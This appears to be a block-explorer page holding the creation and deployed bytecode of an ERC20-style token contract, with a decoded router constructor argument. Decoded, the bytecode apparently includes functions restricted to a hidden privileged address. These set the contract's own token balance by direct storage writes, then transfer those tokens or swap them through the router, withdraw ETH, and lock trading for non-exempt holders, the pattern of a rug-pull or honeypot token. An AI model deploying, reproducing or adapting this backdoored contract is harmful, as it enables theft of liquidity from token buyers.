06fdde031461024b578063095ea7b314610276578063180ff1e7146102a657806318160ddd146102c85780631c499ab0146102e757600080fd5b3661024657005b600080fd5b34801561025757600080fd5b506102606107c5565b60405161026d9190611ae7565b60405180910390f35b34801561028257600080fd5b50610296610291366004611b4a565b610857565b604051901515815260200161026d565b3480156102b257600080fd5b506102c66102c1366004611b8b565b610871565b005b3480156102d457600080fd5b506006545b60405190815260200161026d565b3480156102f357600080fd5b506102c6610302366004611bc0565b6108f5565b34801561031357600080fd5b506102c6610322366004611b8b565b610910565b34801561033357600080fd5b506102c6610342366004611bc0565b61098c565b34801561035357600080fd5b50610296610362366004611bd9565b6109a3565b34801561037357600080fd5b506102c6610382366004611bd9565b6109c7565b34801561039357600080fd5b50600a54600b546040805192835260208301919091520161026d565b3480156103bb57600080fd5b506102c66103ca366004611bc0565b610c8b565b3480156103db57600080fd5b5060095460405160ff909116815260200161026d565b3480156103fd57600080fd5b506102c661040c366004611bc0565b610cd7565b34801561041d57600080fd5b506102d961042c366004611c1a565b610d05565b34801561043d57600080fd5b506102c661044c366004611c1a565b610e3a565b34801561045d57600080fd5b5061029661046c366004611b4a565b610e6c565b3480156102c657600080fd5b34801561048957600080fd5b506102c6610498366004611c1a565b610e8b565b3480156104a957600080fd5b506102c66104b8366004611b8b565b610ebd565b3480156104c957600080fd5b506102966104d8366004611c1a565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561050257600080fd5b506102c6610511366004611c37565b610f39565b34801561052257600080fd5b50610296610531366004611c1a565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561055b57600080fd5b506102d961056a366004611c1a565b6001600160a01b031660009081526003602052604090205490565b34801561059157600080fd5b506102c6610fc0565b3480156105a657600080fd5b506102966105b5366004611c1a565b600d6020526000908152604090205460ff1681565b3480156105d657600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161026d565b34801561060857600080fd5b506102c6610617366004611b8b565b610fd2565b34801561062857600080fd5b5061026061104e565b34801561063d57600080fd5b5061029661064c366004611c1a565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561067657600080fd5b506102c6610685366004611b4a565b61105d565b34801561069657600080fd5b5060125460ff16610296565b3480156106ae57600080fd5b506102966106bd366004611b4a565b611079565b3480156106ce57600080fd5b506102966106dd366004611b4a565b6110f4565b3480156106ee57600080fd5b506102c66106fd366004611c59565b611102565b34801561070e57600080fd5b506102d961071d366004611c74565b611127565b34801561072e57600080fd5b50600e546102d9565b34801561074357600080fd5b50600c546105e4906001600160a01b031681565b34801561076357600080fd5b50610296610772366004611c1a565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561079c57600080fd5b506102c66107ab366004611c1a565b611152565b3480156107bc57600080fd5b506010546102d9565b6060600780546107d490611cad565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611cad565b801561084d5780601f106108225761010080835404028352916020019161084d565b820191906000526020600020905b81548152906001019060200180831161083057829003601f168201915b5050505050905090565b6000336108658185856111c8565b60019150505b92915050565b6005546001600160a01b031633036108f1576001600160a01b03821660009081526011602052604090205481151560ff9091161515036108cc5760405162461bcd60e51b81526004016108c390611ce7565b60405180910390fd5b6001600160a01b0382166000908152601160205260409020805460ff19168215151790555b5050565b6005546001600160a01b0316330361090d57600e8190555b50565b6005546001600160a01b031633036108f1576001600160a01b03821660009081526013602052604090205481151560ff9091161515036109625760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152601360205260409020805482151560ff199091161790555050565b6005546001600160a01b0316330361090d57601055565b6000336109b18582856112ec565b6109bc858585611366565b506001949350505050565b6005546001600160a01b03163303610c86576000811180156109eb5750620186a081105b610a2f5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016108c3565b6000610a3a84610d05565b90506000620186a0610a4c8484611d34565b610a569190611d4b565b6040805160028082526060808301845293945090916020830190803683370190505090503081600081518110610a8e57610a8e611d83565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610ac257610ac2611d83565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610b2e9086908690600401611ddd565b600060405180830381865afa158015610b4b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b739190810190611dfe565b9050610ba581600081518110610b8b57610b8b611d83565b602002602001015160408051308152600360208201522055565b6000610bb3426104b0611ebc565b60015430600081815260036020526040902054929350610be39290916001600160a01b0316906111c8565b6111c8565b60015482516001600160a01b0390911690638803dbee9086908590600090610c0d57610c0d611d83565b6020026020010151868b866040518663ffffffff1660e01b8152600401610c38959493929190611ecf565b6000604051808303816000875af1158015610c57573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c7f9190810190611dfe565b5050505050505b505050565b6005546001600160a01b0316330361090d576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f1573d6000803e3d6000fd5b610ced8160408051308152600360208201522055565b60055461090d9030906001600160a01b031683611366565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d819190611f22565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e099190611f72565b6001600160a01b031614610e2657816001600160701b0316610e31565b826001600160701b03165b95945050505050565b6005546001600160a01b0316330361090d57600580546001600160a01b0383166001600160a01b031990911617905550565b600033610865818585610e7f8383611127565b610bde9190611ebc565b565b6005546001600160a01b0316330361090d57600c80546001600160a01b0383166001600160a01b031990911617905550565b6005546001600160a01b031633036108f1576001600160a01b0382166000908152600d602052604090205481151560ff909116151503610f0f5760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152600d60205260409020805482151560ff199091161790555050565b6005546001600160a01b031633036108f15760648211158015610f5d575060648111155b610fb55760405162461bcd60e51b8152602060048201526024808201527f4665652070657263656e742063616e277420626520686967686572207468616e6044820152630203130360e41b60648201526084016108c3565b600a91909155600b55565b610fc861174d565b610e8960006117b6565b6005546001600160a01b031633036108f1576001600160a01b0382166000908152600f602052604090205481151560ff9091161515036110245760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152600f60205260409020805482151560ff199091161790555050565b6060600880546107d490611cad565b6005546001600160a01b031633036108f1576108f18282611806565b600033816110878286611127565b9050838110156110e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108c3565b6109bc82868684036111c8565b600033610865818585611366565b6005546001600160a01b0316330361090d576012805482151560ff1990911617905550565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61115a61174d565b6001600160a01b0381166111bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108c3565b61090d816117b6565b6001600160a01b03831661122a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108c3565b6001600160a01b03821661128b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006112f88484611127565b9050600019811461136057818110156113535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108c3565b61136084848484036111c8565b50505050565b6001600160a01b0383166113ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108c3565b6001600160a01b03821661142c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108c3565b611437838383611934565b6001600160a01b038316600090815260036020526040902054818110156114af5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108c3565b60125460ff161561154b576114c384611a99565b15611505576001600160a01b03831660009081526013602052604090205460ff166115005760405162461bcd60e51b81526004016108c390611f8f565b61154b565b61150e83611a99565b1561154b576001600160a01b03841660009081526013602052604090205460ff1661154b5760405162461bcd60e51b81526004016108c390611f8f565b6001600160a01b0384166000908152600d602052604090205460ff1615801561158d57506001600160a01b0383166000908152600d602052604090205460ff16155b156116c65761159b84611a99565b156116aa5760006115ae83600a54611ac8565b90506115ba8383611fd1565b6001600160a01b0386166000908152600360205260409020556115dd8184611fd1565b6001600160a01b03851660009081526003602052604081208054909190611605908490611ebc565b90915550506001600160a01b03808516908616600080516020611fe58339815191526116318487611fd1565b60405190815260200160405180910390a3600c546001600160a01b03166000908152600360205260408120805483929061166c908490611ebc565b9091555050600c546040518281526001600160a01b0391821691871690600080516020611fe58339815191529060200160405180910390a350611360565b6116b383611a99565b156116c65760006115ae83600b54611ac8565b6116d08282611fd1565b6001600160a01b038086166000908152600360205260408082209390935590851681529081208054849290611706908490611ebc565b92505081905550826001600160a01b0316846001600160a01b0316600080516020611fe58339815191528460405161174091815260200190565b60405180910390a3611360565b336117606000546001600160a01b031690565b6001600160a01b031614610e895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166118665760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016108c3565b61187282600083611934565b6001600160a01b038216600090815260036020526040902054818110156118e65760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016108c3565b6001600160a01b0383166000818152600360209081526040808320868603905560068054879003905551858152919291600080516020611fe5833981519152910160405180910390a3505050565b600e541580159061194b575061194982611a99565b155b801561197057506001600160a01b0382166000908152600f602052604090205460ff16155b801561199557506001600160a01b0383166000908152600f602052604090205460ff16155b15611a2857600e54816119bd846001600160a01b031660009081526003602052604090205490565b6119c79190611ebc565b1115611a285760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b60648201526084016108c3565b60105415610c86576001600160a01b03831660009081526011602052604090205460ff16610c8657601054811115610c865760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b60448201526064016108c3565b6002546000906001600160a01b038381169116148061086b5750506001546001600160a01b0390811691161490565b60006064611ad68385611d34565b611ae09190611d4b565b9392505050565b600060208083528351808285015260005b81811015611b1457858101830151858201604001528201611af8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461090d57600080fd5b60008060408385031215611b5d57600080fd5b8235611b6881611b35565b946020939093013593505050565b80358015158114611b8657600080fd5b919050565b60008060408385031215611b9e57600080fd5b8235611ba981611b35565b9150611bb760208401611b76565b90509250929050565b600060208284031215611bd257600080fd5b5035919050565b600080600060608486031215611bee57600080fd5b8335611bf981611b35565b92506020840135611c0981611b35565b929592945050506040919091013590565b600060208284031215611c2c57600080fd5b8135611ae081611b35565b60008060408385031215611c4a57600080fd5b50508035926020909101359150565b600060208284031215611c6b57600080fd5b611ae082611b76565b60008060408385031215611c8757600080fd5b8235611c9281611b35565b91506020830135611ca281611b35565b809150509250929050565b600181811c90821680611cc157607f821691505b602082108103611ce157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601d908201527f5573657220616c72656164792068617665207468697320737461747573000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761086b5761086b611d1e565b600082611d6857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611dd25781516001600160a01b031687529582019590820190600101611dad565b509495945050505050565b828152604060208201526000611df66040830184611d99565b949350505050565b60006020808385031215611e1157600080fd5b825167ffffffffffffffff80821115611e2957600080fd5b818501915085601f830112611e3d57600080fd5b815181811115611e4f57611e4f611d6d565b8060051b604051601f19603f83011681018181108582111715611e7457611e74611d6d565b604052918252848201925083810185019188831115611e9257600080fd5b938501935b82851015611eb057845184529385019392850192611e97565b98975050505050505050565b8082018082111561086b5761086b611d1e565b85815284602082015260a060408201526000611eee60a0830186611d99565b6001600160a01b0394909416606083015250608001529392505050565b80516001600160701b0381168114611b8657600080fd5b600080600060608486031215611f3757600080fd5b611f4084611f0b565b9250611f4e60208501611f0b565b9150604084015163ffffffff81168114611f6757600080fd5b809150509250925092565b600060208284031215611f8457600080fd5b8151611ae081611b35565b60208082526022908201527f557365722069736e2774206578636c756465642066726f6d2074726164654c6f604082015261636b60f01b606082015260800190565b8181038181111561086b5761086b611d1e56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208537c052cec3bbce157e40114c6edf3a1dd883155c5ea5cf851d41fe79ed6d7a64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80636db794371161012e578063a07fc5a2116100ab578063e1370dd31161006f578063e1370dd314610722578063e4440a8614610737578063ecbe5a2d14610757578063f2fde38b14610790578063f6d1dfe1146107b057600080fd5b8063a07fc5a21461068a578063a457c2d7146106a2578063a9059cbb146106c2578063b49f93f7146106e2578063dd62ed3e1461070257600080fd5b80638da5cb5b116100f25780638da5cb5b146105ca5780638dd0f411146105fc57806395d89b411461061c57806399b102b5146106315780639dc29fac1461066a57600080fd5b80636db79437146104f65780636dd3d39f1461051657806370a082311461054f578063715018a61461058557806385ecafd71461059a57600080fd5b80632e1a7d4d116101bc578063395093511161018057806339509351146104515780634a0eb304146104715780634d474d421461047d5780635337cc991461049d5780635342acb4146104bd57600080fd5b80632e1a7d4d146103af578063313ce567146103cf578063315a095d146103f157806335d1627414610411578063383eea0e1461043157600080fd5b80631f6b29f7116102035780631f6b29f714610307578063203e727e1461032757806323b872dd146103475780632a360489146103675780632df8bca91461038757600080fd5b806306fdde031461024b578063095ea7b314610276578063180ff1e7146102a657806318160ddd146102c85780631c499ab0146102e757600080fd5b3661024657005b600080fd5b34801561025757600080fd5b506102606107c5565b60405161026d9190611ae7565b60405180910390f35b34801561028257600080fd5b50610296610291366004611b4a565b610857565b604051901515815260200161026d565b3480156102b257600080fd5b506102c66102c1366004611b8b565b610871565b005b3480156102d457600080fd5b506006545b60405190815260200161026d565b3480156102f357600080fd5b506102c6610302366004611bc0565b6108f5565b34801561031357600080fd5b506102c6610322366004611b8b565b610910565b34801561033357600080fd5b506102c6610342366004611bc0565b61098c565b34801561035357600080fd5b50610296610362366004611bd9565b6109a3565b34801561037357600080fd5b506102c6610382366004611bd9565b6109c7565b34801561039357600080fd5b50600a54600b546040805192835260208301919091520161026d565b3480156103bb57600080fd5b506102c66103ca366004611bc0565b610c8b565b3480156103db57600080fd5b5060095460405160ff909116815260200161026d565b3480156103fd57600080fd5b506102c661040c366004611bc0565b610cd7565b34801561041d57600080fd5b506102d961042c366004611c1a565b610d05565b34801561043d57600080fd5b506102c661044c366004611c1a565b610e3a565b34801561045d57600080fd5b5061029661046c366004611b4a565b610e6c565b3480156102c657600080fd5b34801561048957600080fd5b506102c6610498366004611c1a565b610e8b565b3480156104a957600080fd5b506102c66104b8366004611b8b565b610ebd565b3480156104c957600080fd5b506102966104d8366004611c1a565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561050257600080fd5b506102c6610511366004611c37565b610f39565b34801561052257600080fd5b50610296610531366004611c1a565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561055b57600080fd5b506102d961056a366004611c1a565b6001600160a01b031660009081526003602052604090205490565b34801561059157600080fd5b506102c6610fc0565b3480156105a657600080fd5b506102966105b5366004611c1a565b600d6020526000908152604090205460ff1681565b3480156105d657600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161026d565b34801561060857600080fd5b506102c6610617366004611b8b565b610fd2565b34801561062857600080fd5b5061026061104e565b34801561063d57600080fd5b5061029661064c366004611c1a565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561067657600080fd5b506102c6610685366004611b4a565b61105d565b34801561069657600080fd5b5060125460ff16610296565b3480156106ae57600080fd5b506102966106bd366004611b4a565b611079565b3480156106ce57600080fd5b506102966106dd366004611b4a565b6110f4565b3480156106ee57600080fd5b506102c66106fd366004611c59565b611102565b34801561070e57600080fd5b506102d961071d366004611c74565b611127565b34801561072e57600080fd5b50600e546102d9565b34801561074357600080fd5b50600c546105e4906001600160a01b031681565b34801561076357600080fd5b50610296610772366004611c1a565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561079c57600080fd5b506102c66107ab366004611c1a565b611152565b3480156107bc57600080fd5b506010546102d9565b6060600780546107d490611cad565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611cad565b801561084d5780601f106108225761010080835404028352916020019161084d565b820191906000526020600020905b81548152906001019060200180831161083057829003601f168201915b5050505050905090565b6000336108658185856111c8565b60019150505b92915050565b6005546001600160a01b031633036108f1576001600160a01b03821660009081526011602052604090205481151560ff9091161515036108cc5760405162461bcd60e51b81526004016108c390611ce7565b60405180910390fd5b6001600160a01b0382166000908152601160205260409020805460ff19168215151790555b5050565b6005546001600160a01b0316330361090d57600e8190555b50565b6005546001600160a01b031633036108f1576001600160a01b03821660009081526013602052604090205481151560ff9091161515036109625760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152601360205260409020805482151560ff199091161790555050565b6005546001600160a01b0316330361090d57601055565b6000336109b18582856112ec565b6109bc858585611366565b506001949350505050565b6005546001600160a01b03163303610c86576000811180156109eb5750620186a081105b610a2f5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016108c3565b6000610a3a84610d05565b90506000620186a0610a4c8484611d34565b610a569190611d4b565b6040805160028082526060808301845293945090916020830190803683370190505090503081600081518110610a8e57610a8e611d83565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610ac257610ac2611d83565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610b2e9086908690600401611ddd565b600060405180830381865afa158015610b4b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b739190810190611dfe565b9050610ba581600081518110610b8b57610b8b611d83565b602002602001015160408051308152600360208201522055565b6000610bb3426104b0611ebc565b60015430600081815260036020526040902054929350610be39290916001600160a01b0316906111c8565b6111c8565b60015482516001600160a01b0390911690638803dbee9086908590600090610c0d57610c0d611d83565b6020026020010151868b866040518663ffffffff1660e01b8152600401610c38959493929190611ecf565b6000604051808303816000875af1158015610c57573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c7f9190810190611dfe565b5050505050505b505050565b6005546001600160a01b0316330361090d576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f1573d6000803e3d6000fd5b610ced8160408051308152600360208201522055565b60055461090d9030906001600160a01b031683611366565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d819190611f22565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e099190611f72565b6001600160a01b031614610e2657816001600160701b0316610e31565b826001600160701b03165b95945050505050565b6005546001600160a01b0316330361090d57600580546001600160a01b0383166001600160a01b031990911617905550565b600033610865818585610e7f8383611127565b610bde9190611ebc565b565b6005546001600160a01b0316330361090d57600c80546001600160a01b0383166001600160a01b031990911617905550565b6005546001600160a01b031633036108f1576001600160a01b0382166000908152600d602052604090205481151560ff909116151503610f0f5760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152600d60205260409020805482151560ff199091161790555050565b6005546001600160a01b031633036108f15760648211158015610f5d575060648111155b610fb55760405162461bcd60e51b8152602060048201526024808201527f4665652070657263656e742063616e277420626520686967686572207468616e6044820152630203130360e41b60648201526084016108c3565b600a91909155600b55565b610fc861174d565b610e8960006117b6565b6005546001600160a01b031633036108f1576001600160a01b0382166000908152600f602052604090205481151560ff9091161515036110245760405162461bcd60e51b81526004016108c390611ce7565b6001600160a01b0382166000908152600f60205260409020805482151560ff199091161790555050565b6060600880546107d490611cad565b6005546001600160a01b031633036108f1576108f18282611806565b600033816110878286611127565b9050838110156110e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108c3565b6109bc82868684036111c8565b600033610865818585611366565b6005546001600160a01b0316330361090d576012805482151560ff1990911617905550565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61115a61174d565b6001600160a01b0381166111bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108c3565b61090d816117b6565b6001600160a01b03831661122a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108c3565b6001600160a01b03821661128b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006112f88484611127565b9050600019811461136057818110156113535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108c3565b61136084848484036111c8565b50505050565b6001600160a01b0383166113ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108c3565b6001600160a01b03821661142c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108c3565b611437838383611934565b6001600160a01b038316600090815260036020526040902054818110156114af5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108c3565b60125460ff161561154b576114c384611a99565b15611505576001600160a01b03831660009081526013602052604090205460ff166115005760405162461bcd60e51b81526004016108c390611f8f565b61154b565b61150e83611a99565b1561154b576001600160a01b03841660009081526013602052604090205460ff1661154b5760405162461bcd60e51b81526004016108c390611f8f565b6001600160a01b0384166000908152600d602052604090205460ff1615801561158d57506001600160a01b0383166000908152600d602052604090205460ff16155b156116c65761159b84611a99565b156116aa5760006115ae83600a54611ac8565b90506115ba8383611fd1565b6001600160a01b0386166000908152600360205260409020556115dd8184611fd1565b6001600160a01b03851660009081526003602052604081208054909190611605908490611ebc565b90915550506001600160a01b03808516908616600080516020611fe58339815191526116318487611fd1565b60405190815260200160405180910390a3600c546001600160a01b03166000908152600360205260408120805483929061166c908490611ebc565b9091555050600c546040518281526001600160a01b0391821691871690600080516020611fe58339815191529060200160405180910390a350611360565b6116b383611a99565b156116c65760006115ae83600b54611ac8565b6116d08282611fd1565b6001600160a01b038086166000908152600360205260408082209390935590851681529081208054849290611706908490611ebc565b92505081905550826001600160a01b0316846001600160a01b0316600080516020611fe58339815191528460405161174091815260200190565b60405180910390a3611360565b336117606000546001600160a01b031690565b6001600160a01b031614610e895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166118665760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016108c3565b61187282600083611934565b6001600160a01b038216600090815260036020526040902054818110156118e65760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016108c3565b6001600160a01b0383166000818152600360209081526040808320868603905560068054879003905551858152919291600080516020611fe5833981519152910160405180910390a3505050565b600e541580159061194b575061194982611a99565b155b801561197057506001600160a01b0382166000908152600f602052604090205460ff16155b801561199557506001600160a01b0383166000908152600f602052604090205460ff16155b15611a2857600e54816119bd846001600160a01b031660009081526003602052604090205490565b6119c79190611ebc565b1115611a285760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b60648201526084016108c3565b60105415610c86576001600160a01b03831660009081526011602052604090205460ff16610c8657601054811115610c865760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b60448201526064016108c3565b6002546000906001600160a01b038381169116148061086b5750506001546001600160a01b0390811691161490565b60006064611ad68385611d34565b611ae09190611d4b565b9392505050565b600060208083528351808285015260005b81811015611b1457858101830151858201604001528201611af8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461090d57600080fd5b60008060408385031215611b5d57600080fd5b8235611b6881611b35565b946020939093013593505050565b80358015158114611b8657600080fd5b919050565b60008060408385031215611b9e57600080fd5b8235611ba981611b35565b9150611bb760208401611b76565b90509250929050565b600060208284031215611bd257600080fd5b5035919050565b600080600060608486031215611bee57600080fd5b8335611bf981611b35565b92506020840135611c0981611b35565b929592945050506040919091013590565b600060208284031215611c2c57600080fd5b8135611ae081611b35565b60008060408385031215611c4a57600080fd5b50508035926020909101359150565b600060208284031215611c6b57600080fd5b611ae082611b76565b60008060408385031215611c8757600080fd5b8235611c9281611b35565b91506020830135611ca281611b35565b809150509250929050565b600181811c90821680611cc157607f821691505b602082108103611ce157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601d908201527f5573657220616c72656164792068617665207468697320737461747573000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761086b5761086b611d1e565b600082611d6857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611dd25781516001600160a01b031687529582019590820190600101611dad565b509495945050505050565b828152604060208201526000611df66040830184611d99565b949350505050565b60006020808385031215611e1157600080fd5b825167ffffffffffffffff80821115611e2957600080fd5b818501915085601f830112611e3d57600080fd5b815181811115611e4f57611e4f611d6d565b8060051b604051601f19603f83011681018181108582111715611e7457611e74611d6d565b604052918252848201925083810185019188831115611e9257600080fd5b938501935b82851015611eb057845184529385019392850192611e97565b98975050505050505050565b8082018082111561086b5761086b611d1e565b85815284602082015260a060408201526000611eee60a0830186611d99565b6001600160a01b0394909416606083015250608001529392505050565b80516001600160701b0381168114611b8657600080fd5b600080600060608486031215611f3757600080fd5b611f4084611f0b565b9250611f4e60208501611f0b565b9150604084015163ffffffff81168114611f6757600080fd5b809150509250925092565b600060208284031215611f8457600080fd5b8151611ae081611b35565b60208082526022908201527f557365722069736e2774206578636c756465642066726f6d2074726164654c6f604082015261636b60f01b606082015260800190565b8181038181111561086b5761086b611d1e56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208537c052cec3bbce157e40114c6edf3a1dd883155c5ea5cf851d41fe79ed6d7a64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

